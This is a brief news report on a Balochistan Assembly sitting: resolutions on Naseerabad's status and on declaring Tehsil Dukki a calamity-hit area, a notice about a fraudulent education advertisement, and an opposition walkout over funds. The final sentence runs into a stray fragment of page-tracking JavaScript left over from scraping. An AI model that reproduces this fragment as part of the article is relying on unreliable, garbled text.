ISLAMABAD: The Balochistan Assembly adopted two resolutions on Thursday seeking the restoration of the previous status of Naseerabad and to declare Tehsil Dukki, a calamity-hit area.

Jointly tabled by four PML-N lawmakers, the House adopted a resolution seeking the restoration of the previous status of Naseerabad by declaring it B-Area and non-merger of Levies Force from the Police in the district.

The second resolution was tabled by a PML-N legislator, seeking to declare Tehsil Dukki, a calamity-hit area and the provision of financial assistance to the locals for rebuilding their houses and cultivating their lands. It was also adopted. Three other resolutions that were not taken up include giving the status of tehsil to Tobab Kakari, the illegal allotment of land on Sirki Road to fruit and vegetable market instead of educational institutions and the establishment of BC Wing in Zhob.

Sponsored by a PkMAP lawmaker, the House took up a calling attention notice (CAN) regarding an advertisement appeared in a section of press on March 26, 2014, seeking applications under Primary Education Promoting Program with a bank draft in favour of Kumak Social Welfare Organization. The mover said it is a fake advertisement which was confirmed by the provincial education minister who also assured the House of taking prompt action against those involved in the fraud.

The ANP and JUI-F lawmakers staged a walkout over the non-release of funds to them under the Public Sector Development Program. They did not return to the House until the adjournment of the sitting.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
